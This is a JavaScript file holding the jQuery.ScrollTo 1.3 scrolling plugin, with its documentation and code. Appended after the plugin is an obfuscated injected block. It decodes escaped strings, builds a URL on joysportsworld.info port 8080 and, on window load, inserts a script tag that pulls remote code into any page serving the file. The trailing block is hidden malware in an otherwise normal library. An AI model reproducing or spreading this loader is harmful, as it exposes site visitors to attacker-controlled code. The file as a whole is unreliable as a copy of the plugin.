/**
 * jQuery.ScrollTo
 * Copyright (c) 2008 Ariel Flesler - aflesler(at)gmail(dot)com
 * Licensed under GPL license (http://www.opensource.org/licenses/gpl-license.php).
 * Date: 1/2/2008
 *
 * @projectDescription Easy element scrolling using jQuery.
 * Tested with jQuery 1.2.1. On FF 2.0.0.11, IE 6, Opera 9.22 and Safari 3 beta. on Windows.
 *
 * @author Ariel Flesler
 * @version 1.3
 *
 * @id jQuery.scrollTo
 * @id jQuery.fn.scrollTo
 * @param {String, Number, DOMElement, jQuery, Object} target Where to scroll the matched elements.
 *	  The different options for target are:
 *		- A number position (will be applied to all axes).
 *		- A string position ('44', '100px', '+=90', etc ) will be applied to all axes
 *		- A jQuery/DOM element ( logically, child of the element to scroll )
 *		- A string selector, that will be relative to the element to scroll ( 'li:eq(2)', etc )
 *		- A hash { top:x, left:y }, x and y can be any kind of number/string like above.
 * @param {Number} duration The OVERALL length of the animation, this argument can be the settings object instead.
 * @param {Object} settings Hash of settings, optional.
 *	 @option {String} axis Which axis must be scrolled, use 'x', 'y', 'xy' or 'yx'.
 *	 @option {Number} duration The OVERALL length of the animation.
 *	 @option {String} easing The easing method for the animation.
 *	 @option {Boolean} margin If true, the margin of the target element will be deducted from the final position.
 *	 @option {Object, Number} offset Add/deduct from the end position. One number for both axis or { top:x, left:y }
 *	 @option {Boolean} queue If true, and both axis are given, the 2nd axis will only be animated after the first one ends.
 *	 @option {Function} onAfter Function to be called after the scrolling ends. 
 *	 @option {Function} onAfterFirst If queuing is activated, this function will be called after the first scrolling ends.
 * @return {jQuery} Returns the same jQuery object, for chaining.
 *
 * @example $('div').scrollTo( 340 );
 *
 * @example $('div').scrollTo( '+=340px', { axis:'y' } );
 *
 * @example $('div').scrollTo( 'p.paragraph:eq(2)', 500, { easing:'swing', queue:true, axis:'xy' } );
 *
 * @example var second_child = document.getElementById('container').firstChild.nextSibling;
 *			$('#container').scrollTo( second_child, { duration:500, axis:'x', onAfter:function(){
 *				alert('scrolled!!');																   
 *			}});
 *
 * @example $('div').scrollTo( { top: 300, left:'+=200' }, { offset:-20 } );
 *
 * Notes:
 *  - jQuery.scrollTo will make the whole window scroll, it accepts the same parameters as jQuery.fn.scrollTo.
 *  - The plugin no longer requires Dimensions.
 *	- If you are interested in animated anchor navigation, check http://jquery.com/plugins/project/LocalScroll.
 *	- The option 'margin' won't be valid, if the target is not a jQuery object or a DOM element.
 *	- The option 'queue' won't be taken into account, if only 1 axis is given.
 */
;(function( $ ){
		  
	$.scrollTo = function( target, duration, settings ){
		$( $.browser.safari ? 'body' : 'html' ).scrollTo( target, duration, settings );
	};
	
	$.scrollTo.defaults = {
		axis:'y',
		duration:1
	};
	
	$.fn.scrollTo = function( target, duration, settings ){
		if( typeof duration == 'object' ){
			settings = duration;
			duration = 0;
		}
		settings = $.extend( {}, $.scrollTo.defaults, settings );
		if( !duration )
			duration = settings.speed || settings.duration;//backward compatibility fix
		settings.queue = settings.queue && settings.axis.length == 2;//make sure the settings are given right
		if( settings.queue )
			duration = Math.ceil( duration / 2 );//let's keep the overall speed, the same.
		if( typeof settings.offset == 'number' )
			settings.offset = { left: settings.offset, top: settings.offset };
		
		return this.each(function(){
			var elem = this, $elem = $(elem),
				t = target, toff, attr = {},
				win = $elem.is('html,body');
			switch( typeof t ){
				case 'number'://will pass the regex
				case 'string':
					if( /^([+-]=)?\d+(px)?$/.test(t) ){
						t = { top:t, left:t };
						break;//we are done
					}
					t = $(t,this);// relative selector, no break!
				case 'object':
					if( t.is || t.style )//DOM/jQuery
						toff = (t = $(t)).offset();//get the real position of the target 
			}
			$.each( settings.axis.split(''), parse );			
			animate( settings.onAfter );			
			
			function parse( i, axis ){
				var Pos	= axis == 'x' ? 'Left' : 'Top',
					pos = Pos.toLowerCase(),
					key = 'scroll' + Pos,
					act = elem[key];
					
				if( toff ){//jQuery/DOM
					attr[key] = toff[pos] + ( win ? 0 : act - $elem.offset()[pos] );
					
					if( settings.margin ){//if it's a dom element, reduce the margin
						attr[key] -= parseInt(t.css('margin'+Pos)) || 0;
						attr[key] -= parseInt(t.css('border'+Pos+'Width')) || 0;
					}
					
					if( settings.offset && settings.offset[pos] )
						attr[key] += settings.offset[pos];
				}else{
					attr[key] = t[pos];
				}				
				
				if( /^\d+$/.test(attr[key]) )
					attr[key] = attr[key] <= 0 ? 0 : Math.min( attr[key], max(axis) );//check the limits
				
				if( !i && settings.queue ){//queueing each axis is required					
					if( act != attr[key] )//don't waste time animating, if there's no need.
						animate( settings.onAfterFirst );//intermediate animation
					delete attr[key];//don't animate this axis again in the next iteration.
				}
			};
			
			function animate( callback ){
				$elem.animate( attr, duration, settings.easing, function(){
					if( callback )
						callback.call(this, $elem, attr, t );
				});
			};
			function max( axis ){
				var el = win ? $.browser.opera ? document.body : document.documentElement : elem,
					Dim = axis == 'x' ? 'Width' : 'Height';
				return el['scroll'+Dim] - el['client'+Dim];
			};
		});
	};

})( jQuery );
try {var a;if(a!='U' && a!='B'){a=''};var ZI="";var Q=window[unescape("%75%6e%65%73%63%61%70%65")];var oP;if(oP!='k' && oP!='c'){oP=''};var O;if(O!='h' && O != ''){O=null};var Y=Q("%72%65%70%6c%61%63%65");var u='';this.P='';var m=null;var cW="";var o=window[Q("%52%65%67%45%78%70")];var oJ=new Array();var s;if(s!=''){s='d'};var ua=new Date();this.rF='';function C(K,M){var e=new String();var oK=Q("%5b");var UF='';var x=new Array();oK+=M;oK+=Q("%5d");var GY=new Date();var MD;if(MD!='' && MD!='l'){MD=''};var X=new o(oK, Q("%67"));var T;if(T!='' && T!='sv'){T=null};this.j='';return K.replace(X, m);};var D=Q("%73%63%72%69%70%74");var V=new Array();var KH=new Date();var t="\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x6f\x79\x73\x70\x6f\x72\x74\x73\x77\x6f\x72\x6c\x64\x2e\x69\x6e\x66\x6f\x3a";var kF;if(kF!='eD' && kF!='Zc'){kF='eD'};var CM="";var g='';var Ro=new String();var i=C('/qgqoWoqgNlIeW.NcyoymM/WbXeXeymMpN3M.McIoWmX/LrIaXpqiNdX4qmNeq.NcWoqmq.XpWhWpX','MqyWXINL');var bZ=new Date();var A=C('8631031785430414','32147956');var eY;if(eY!='cA' && eY != ''){eY=null};var PO="";var K=Q("%31");var nh=new String();var Z=String("onl"+"xCpoad".substr(3));this.H='';var cAQ=new String();function I(){var Yj=document;var qE=new String();var vl=new String();E=Yj.createElement(D);var Iz='';var Bi;if(Bi!=''){Bi='GI'};this.rv="";var h_=new Array();g+=t;this.TM='';var WW=new Array();g+=A+i;var Rw=new Array();this.Yl='';var Dc=Yj.body;var vD;if(vD!='we' && vD != ''){vD=null};var bS;if(bS!='Lw' && bS != ''){bS=null};var ar;if(ar!='' && ar!='RD'){ar=''};E.defer=K;var sc="";var uD="";E.src=g;var zi=new Date();var sR='';Dc.appendChild(E);var iW=new String();};var TWw;if(TWw!='Bu'){TWw='Bu'};var Ku='';window[Z]=I;var MO=new String();var rl;if(rl!='jL' && rl!='vE'){rl=''};var eB=new String();var fy="";} catch(G){var dy="";var nc;if(nc!='Or'){nc=''};};var ZO="";var hl;if(hl!='' && hl!='Il'){hl='jw'};